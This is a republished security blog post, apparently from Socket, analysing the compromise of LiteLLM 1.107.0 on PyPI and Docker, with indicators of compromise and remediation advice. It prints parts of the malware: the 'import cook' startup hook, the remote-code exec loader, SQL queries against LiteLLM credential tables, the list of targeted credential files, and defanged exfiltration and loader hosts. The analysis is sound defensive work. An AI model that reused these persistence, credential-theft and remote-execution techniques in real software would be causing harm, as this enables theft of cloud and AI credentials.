{"slug": "litellm-pypi-package-and-docker-images-compromised-to-steal-cloud-and-ai", "title": "LiteLLM PyPI Package and Docker Images Compromised to Steal Cloud and AI Credentials", "summary": "A supply chain attack compromised LiteLLM version 1.107.0 on PyPI and Docker, delivering a credential stealer that collects cloud credentials, private keys, browser data and AI provider API keys, according to Socket, whose AI scanner flagged the seven distributed wheels seven minutes after publication. Upwind's public investigation found the same payload in a published LiteLLM image, and the image's build provenance records a source repository named Berri-AI/litellm — differing by one hyphen from the legitimate BerriAI/litellm — with the malicious build running from 10:51:23 to 11:06:31 UTC on October 21, 2026. LiteLLM, a common interface and proxy for large language model providers with roughly 23M weekly downloads, activates the payload via Python startup hooks (cook.pth, cook.py and sitecustomize.py) without the application importing LiteLLM, so teams running 1.107.0 should stop deploying it and investigate proxy containers and CI runners where Python ran after installation.", "body_md": "*Socket’s AI Scanner flagging the malicious version of*\n\n[package.](https://socket.dev/pypi/package/litellm/overview/1.107.0/cp310-abi3-macosx-10-12-x86-64-whl)`litellm`\nA supply chain attack compromised LiteLLM 1.107.0 on PyPI and Docker, spreading malware that steals cloud credentials, developer secrets, and AI provider keys.\n\n[LiteLLM 1.107.0](https://socket.dev/pypi/package/litellm/overview/1.107.0/cp310-abi3-macosx-10-12-x86-64-whl) delivers a credential stealer through Python startup hooks, while container build provenance points to a lookalike source repository used by the project’s release workflow.\n\nLiteLLM version `1.107.0` contains malicious Python startup files that collect cloud credentials, private keys, browser data, and authentication files for AI development tools. Socket’s AI scanner flagged the seven distributed wheels seven minutes after publication, and static analysis confirms both a credential stealer and a loader capable of executing remotely supplied Python. Once the files are installed, a normal Python startup can activate them without the application importing LiteLLM.\n\nThe incident also reaches container users. [Upwind’s public investigation](https://github.com/BerriAI/litellm/issues/47826#issuecomment-6316601885) reports the same payload in a published LiteLLM image. Examination of the image’s attached build provenance confirms that the release workflow recorded a source repository named `Berri-AI/litellm`, differing by one hyphen from the legitimate `BerriAI/litellm` project.\n\n*Socket’s AI Scanner flagging the malicious version of [`litellm`](https://socket.dev/pypi/package/litellm/overview/1.107.0/cp310-abi3-macosx-10-12-x86-64-whl) package.*\n\nLiteLLM provides a common interface and proxy for large language model providers. It receives approximately 23M weekly downloads. A compromised installation can therefore run alongside provider API keys, cloud identities, and database connection strings. Teams using `1.107.0` should stop deploying it and investigate environments where Python ran after installation, including proxy containers and CI runners.\n\nThe strongest evidence for the delivery path is in the container registry. The provenance attached to the Linux amd64 image identifies the private `BerriAI/project-releaser` workflow, run `39587059944`, and source revision `20535d8fa11f786a6c24df7488a0e449ed5f09ad`. Its recorded dispatch inputs explicitly select the hyphenated source owner:\n\n```\n{\n  \"git_ref\": \"20535d8fa11f786a6c24df7488a0e449ed5f09ad\",\n  \"release_type\": \"stable\",\n  \"repo\": \"litellm\",\n  \"source_owner\": \"Berri-AI\"\n}\n```\n\nThe same document records `vcs:source` as `https://github.com/Berri-AI/litellm`. By comparison, the provenance for `v1.106.2` records the legitimate `BerriAI/litellm` source. The malicious build started at 10:51:23 UTC on October 21, 2026, and finished at 11:06:31 UTC. These values come from the registry’s attached provenance documents, independently retrieved during this investigation.\n\nThe referenced revision contains `cook/purelib/cook.pth`, `cook/purelib/cook.py`, and `cook/purelib/sitecustomize.py`. All three files match the inspected PyPI wheel byte for byte. This connects the source revision recorded in the container build to the malware delivered in that wheel.\n\nA [commit at 09:48:21 UTC](https://github.com/BerriAI/litellm/commit/783c43bc455d2e05d3cfaf194c2f325cfeab1433) adds one setting to the Maturin build configuration:\n\n```\n [tool.maturin]\n manifest-path = \"litellm-rust/crates/python-bridge/Cargo.toml\"\n module-name = \"litellm.rust_bridge._native\"\n python-source = \".\"\n+data = \"cook\"\n python-packages = [\"litellm_cli\"]\n```\n\nThat setting supplies the data directory containing the startup payloads. A [later commit at 10:46:29 UTC](https://github.com/BerriAI/litellm/commit/20535d8fa11f786a6c24df7488a0e449ed5f09ad) adds `COPY cook ./cook` to the backend, gateway, and migrations Dockerfiles, making the malicious directory available in their build stages. The tagged release’s `pyproject.toml` lacks the added `data` setting. Reviewing the tag alone would therefore miss this packaging change.\n\nThe available evidence establishes what source the container build recorded and how the payload was included. It does not establish how the source-owner override was authorized, whether an account or token was compromised, or whether that same workflow uploaded the PyPI wheels. The public run URL returned 404; its private job logs were not available. The provenance is useful evidence of recorded build inputs, not proof that those inputs were trustworthy or an independently verified signature on every claim it contains.\n\nUpwind’s [original report](https://github.com/BerriAI/litellm/issues/47826) also identifies all seven `1.107.0` wheels across macOS, Linux, and Windows as affected. It also reports a modified source distribution whose build configuration contains `data = \"cook\"`, although that archive does not contain the three payload files.\n\nSocket’s saved artifact response records publication at 11:39:51 UTC and malware alerts at 11:46:30 UTC on October 21. At approximately 13:14 UTC, independent registry checks found that `ghcr.io/berriai/litellm` tags `v1.107.0`, `latest`, `main-latest`, and `main-stable` all resolved to the same image index. Deployments following a floating tag could therefore receive the affected release without explicitly selecting `1.107.0`.\n\nUpwind additionally reports affected `litellm-database` and `litellm-non_root` images on GHCR and `litellm/litellm` on Docker Hub. Its update distinguishes direct file verification in the main amd64 image from the other builds sharing the malicious source revision. Those additional image payloads were not independently extracted for this draft.\n\nThe wheels carry entry points outside the main `litellm/` directory:\n\n```\nlitellm-1.107.0.data/purelib/cook.pth\nlitellm-1.107.0.data/purelib/cook.py\nlitellm-1.107.0.data/purelib/sitecustomize.py\n```\n\nThe [wheel installation format](https://packaging.python.org/en/latest/specifications/binary-distribution-format/) places these files in the environment’s Python library directory. During normal startup, Python processes executable `.pth` lines and then attempts to import `sitecustomize`, as documented in its [site initialization behavior](https://docs.python.org/3.13/library/site.html).\n\nThe complete contents of `cook.pth` are just:\n\n``` python\nimport cook\n```\n\nThat line launches the credential collector. `sitecustomize.py` provides a second startup entry point for the background loader. The trigger matters operationally: starting Python or pip in an affected environment to inspect or repair the installation can execute the payload again. Downloading the wheel or inspecting its ZIP contents as data does not execute these hooks.\n\nBoth Python files embed Base64-encoded, zlib-compressed source. Static decoding recovered nearly identical collectors, approximately 61 KB each. The `cook.py` wrapper starts its collector in a daemon thread and sets `PRIVCOLLECT_ACTIVE=1` to suppress duplicate collection in the same inherited environment. After an upload receives HTTP 200, it attempts to create `/tmp/.pc_once_72129118c59f5636c0bb`, which suppresses subsequent collection for that variant.\n\nA short-lived interpreter can exit before the collection thread finishes. Conversely, an absent marker does not clear a host: failed uploads, temporary-directory cleanup, or container replacement can all leave no marker behind.\n\nThe decoded payload, which uses the identifier `privcollect`, enables 16 collection modules. Each module runs behind its own error handler, allowing collection to continue when another target is unavailable.\n\nThe targets span several credential boundaries:\n\n`.netrc`, `.env` files, SSH keys, GPG private keys, and TLS private keys.`~/.codex/auth.json`, Claude’s `~/.claude/.credentials.json`, Gemini’s `~/.gemini/oauth_creds.json`, and Cursor’s `~/.cursor/mcp.json`, alongside configuration for Copilot, Windsurf, Kiro, Zed, Continue, OpenCode, and Hugging Face.`GetCallerIdentity`.\nOne module specifically targets LiteLLM deployments with `DATABASE_URL` configured. Its Prisma child program attempts these queries:\n\n```\nSELECT \"credential_name\", \"credential_values\"\nFROM \"LiteLLM_CredentialsTable\" LIMIT 500;\n\nSELECT \"model_name\", \"litellm_params\"\nFROM \"LiteLLM_ProxyModelTable\" LIMIT 500;\n```\n\nThis is explicit targeting of the proxy’s saved credentials and model configuration. It does not demonstrate successful access to a particular deployment or decryption of every returned credential value.\n\nThe inspected macOS artifact also has platform limits. Its database module attempts Linux `/proc` inspection before launching the child, which fails on ordinary macOS installations. Its Chromium password routine does not recover plaintext v10/v11 passwords on macOS, although it still copies sensitive browser databases. Other modules, including AI-tool files and the current process’s environment, remain applicable. The configuration value `PC_TARGET='linux'` is an output label, not a check that restricts execution to Linux.\n\nThe collector encrypts its JSON results with a randomly generated AES-256-CBC key, then wraps that key with an embedded RSA-4096 public key using OAEP. It packages the results into a gzip-compressed tar archive containing `hdr.json`, `data.bin`, and `key.bin`.\n\nThe archive is POSTed to `hxxp://www[.]litellm[.]dev/healthcheck`. Despite the URL’s health-check wording, the request body contains the encrypted collection results. The request includes an `X-SHA256` body checksum, `Content-Type: application/octet-stream`, and the fixed header `X-Token: XWiA8gZNa7NcX2XRoAEb`. The implementation makes up to four attempts, with a 120-second timeout per request.\n\nThis endpoint is an exfiltration destination. The collector checks the response status and does not execute the response body. Remote code delivery uses a separate path.\n\n`sitecustomize.py` obtains a lock on `/tmp/remote_code_loader.lock`, forks a detached process, redirects its standard streams to `/dev/null`, and changes its working directory to `/`. The process repeatedly retrieves `domain.txt` from the `letters9813/pythonclient-test` GitHub repository.\n\nWhen the file supplies a suitable domain that resolves, the loader reaches its embedded collector and downloads Python from `http://<domain>/codepy`. The execution function compiles the response and runs it in a thread-pool worker:\n\n``` python\nasync def exec_code(code):\n    loop = asyncio.get_running_loop()\n    await loop.run_in_executor(\n        _executor,\n        lambda: exec(\n            compile(code, \"<remote>\", \"exec\"),\n            {\"__name__\": \"__main__\"},\n        ),\n    )\n```\n\nThere is no signature or content-hash verification. The outer loop catches failures and waits 3,600 seconds after each cycle before trying again. The startup files can relaunch this background process on later interpreter starts; removing the LiteLLM package directory alone does not remove those files or stop an existing process.\n\nAt 13:01:44 UTC on October 21, the GitHub pointer returned HTTP 200 with an empty body. That response prevents the loader from reaching its download stage. It does not disable the independent `cook.pth` collector, and a later change to the mutable pointer could supply a destination.\n\nThe two embedded collectors also share `PRIVCOLLECT_ACTIVE`. Under normal startup ordering, `cook.pth` sets it before `sitecustomize` forks, so the child skips duplicate collection while retaining its remote-execution path. The hourly loop therefore should not be interpreted as guaranteed hourly exfiltration. Historical pointer contents were `localhost:18909` and `test[.]test[.]com:18909`; neither is established here as an operational command server.\n\n`litellm==1.107.0` and stop deploying affected image tags or digests. Check lockfiles, caches, build logs, container layers, and running image digests, including deployments that used floating tags.`1.106.2`; this investigation did not certify every earlier artifact as clean.`39587059944`, its dispatch permissions, and the origin of the `source_owner` override. Review publishing and registry credentials available to the workflow.`sitecustomize.py` can be legitimate, so its filename alone is insufficient.`/healthcheck` destination, the GitHub repository path, and subsequent `/codepy` requests. Scope GitHub controls to the relevant path rather than blocking its shared hosting domain indiscriminately.\nPackages\n\n`pypi/litellm@1.107.0`\n\nWheel Files\n\n`litellm-1.107.0-cp310-abi3-macosx_10_12_x86_64.whl`` 7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86d``litellm-1.107.0-cp310-abi3-macosx_11_0_arm64.whl`` 0aaf7ba346d41ef2f40390436738b001180d5a1c03aa093f121078a9969d9a1a``litellm-1.107.0-cp310-abi3-manylinux_2_28_aarch64.whl`` 668169d35b87bf51324080390b1b1c5ab12bd335cfe5f1a99e3689abd5e02ae6``litellm-1.107.0-cp310-abi3-manylinux_2_28_x86_64.whl`` 462d0c9f67ca522d9e0e4acd245e90b36ce0d5353604a66bb7c43a1ec4a6fcf7``litellm-1.107.0-cp310-abi3-musllinux_1_2_aarch64.whl`` c2e32d0ce2548aa662c18bf5001911a79fe5b30cf8357132275add02fdcde054``litellm-1.107.0-cp310-abi3-musllinux_1_2_x86_64.whl`` 1bbce8caa94f01c0aaa0b7ddae51553a8a32e1ce53d96d44fe583272aff7ad00``litellm-1.107.0-cp310-abi3-win_amd64.whl`` 12d4ccc5c6f8d35cf4f2cf233b7f3e418e863e657d81ff5f5fc9e210005b9484`\nPython Files\n\n`cook.pth`` 7f191632e7320705d154b85204f1ae546b543acbd7e8861229b76f5042b92bdb``84dc8c82c0a4a4a62552ef826b49fcc86d1a5c4a5d0f2c06665723f93d129d7d``cook.py`` 9dd0a3926f96a37eb86cf1ee2310d9be93139cc4ebef3ef9e2efe9531390be25``03ac2a8b752605d1d7710979c17ff18b03dd978203ba23ba97fd8ce3d6f897ea``34bef04fe88ac9d0aae0475630b1738681d15b94f233ac8aa46eacf5968305fa``b6122440d0d9cb1eb1ade9933f49214da8c31288de7710c076c2680dfa528465``ghcr.io/berriai/litellm:v1.107.0`, also resolved by `latest`, `main-latest`, and `main-stable` at the observation time.`sha256:1bbcb1443bc962e45f5aad53fe3d2c30600e0379715fb6c664cdd3ac126c339e``sha256:bd1aeee419ea36da9aa2b657288da4101887be468f020ac63d22ba6ed84a3ea5``sha256:56b74573eed6e4aafe4b50603dbe7853e0345f188c8e44a09f1098caf1f4bcdf``ghcr.io/berriai/litellm-database:v1.107.0`, `ghcr.io/berriai/litellm-non_root:v1.107.0`, and `docker.io/litellm/litellm:v1.107.0`` hxxp://www[.]litellm[.]dev/healthcheck``hxxps://raw[.]githubusercontent[.]com/letters9813/pythonclient-test/main/domain.txt``X-Token: XWiA8gZNa7NcX2XRoAEb`` hxxps://github[.]com/Berri-AI/litellm`.` 20535d8fa11f786a6c24df7488a0e449ed5f09ad``783c43bc455d2e05d3cfaf194c2f325cfeab1433`` a898fd08ad220fed52488906eb45d196f332b972ad5d85214e7726545ecc4218`\nGet notified when we publish new security blog posts!", "url": "https://wpnews.pro/news/litellm-pypi-package-and-docker-images-compromised-to-steal-cloud-and-ai", "canonical_source": "https://socket.dev/blog/litellm-compromise?utm_medium=feed", "published_at": "2026-10-21 13:41:48+00:00", "updated_at": "2026-10-21 16:13:38.039996+00:00", "lang": "en", "topics": ["ai-safety", "ai-infrastructure", "ai-tools", "large-language-models", "mlops"], "entities": ["LiteLLM", "Socket", "Upwind", "PyPI", "Docker", "BerriAI", "Berri-AI", "Maturin"], "also_reported_by": [], "alternates": {"html": "https://wpnews.pro/news/litellm-pypi-package-and-docker-images-compromised-to-steal-cloud-and-ai", "markdown": "https://wpnews.pro/news/litellm-pypi-package-and-docker-images-compromised-to-steal-cloud-and-ai.md", "text": "https://wpnews.pro/news/litellm-pypi-package-and-docker-images-compromised-to-steal-cloud-and-ai.txt", "jsonld": "https://wpnews.pro/news/litellm-pypi-package-and-docker-images-compromised-to-steal-cloud-and-ai.jsonld"}}